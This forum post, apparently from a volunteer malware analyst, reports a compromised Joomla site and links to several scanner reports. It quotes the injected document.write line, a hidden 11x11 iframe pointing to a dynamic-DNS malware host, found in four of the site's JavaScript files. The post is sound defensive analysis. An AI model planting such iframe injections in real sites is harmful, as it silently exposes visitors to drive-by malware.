avast! does not block, why conflicting scans?

See: http://killmalware.com/carrydufffc.com/#
See: https://www.virustotal.com/nl/url/390e2c26c25c2391fbfea00a43cfe33924a7d4d4fb72bf8ded54f9ec7d74173b/analysis/
See: http://urlquery.net/report.php?id=9844640
Included scripts check:
Suspect - please check list for unknown includes

Suspicious Script:
carrydufffc dot com//components/com_jcomments/js/jcomments-v2.1.js?v=7
document.write(‘<iframe src=“htxp://gcogux.ns2.name/termasloda.cgi?7” scrolling=“auto” frameborder=“no” align=“center” height=“11” width="11
Suspicious Script:
carrydufffc dot com//components/com_jcomments/libraries/joomlatune/ajax.js?v=3
document.write(’<iframe src=“htxp://gcogux.ns2.name/termasloda.cgi?7” scrolling=“auto” frameborder=“no” align=“center” height=“11” width="11
Suspicious Script:
carrydufffc dot com//media/system/js/mootools.js
document.write(‘<iframe src=“htxp://gcogux.ns2.name/termasloda.cgi?7” scrolling=“auto” frameborder=“no” align=“center” height=“11” width="11
Suspicious Script:
carrydufffc dot com//media/system/js/caption.js
document.write(’<iframe src=“htxp://gcogux.ns2.name/termasloda.cgi?7” scrolling=“auto” frameborder=“no” align=“center” height=“11” width="11

On a misused and defaced server: http://worldguide.ag/clean-mx/portals.php?virusname=cysc.def.gen-3&sort=firstseen+DESC

pol

Sucuri http://sitecheck3.sucuri.net/results/carrydufffc.com

VirusTotal
https://www.virustotal.com/en/file/01ab0b019bc7f8a563ab0930c9090ddfc16199ca36607cfeb2e4797131197324/analysis/1394469499/

Detection started here: http://urlquery.net/report.php?id=7215177 IDS alert for Detected a Dynamic DNS URL
Look for malware details in this report: http://app.webinspector.com/public/reports/20609240
See this on same IP: http://urlquery.net/report.php?id=7267257
Compare details here: http://fetch.scritch.org/%2Bfetch/?url=http%3A%2F%2Fcarrydufffc.com&useragent=Fetch+useragent&accept_encoding=
and ZuluZscaler knows again not what to do: http://zulu.zscaler.com/submission/show/0c05b5c6b046e781da951755d3e4f8bf-1394489371

polonus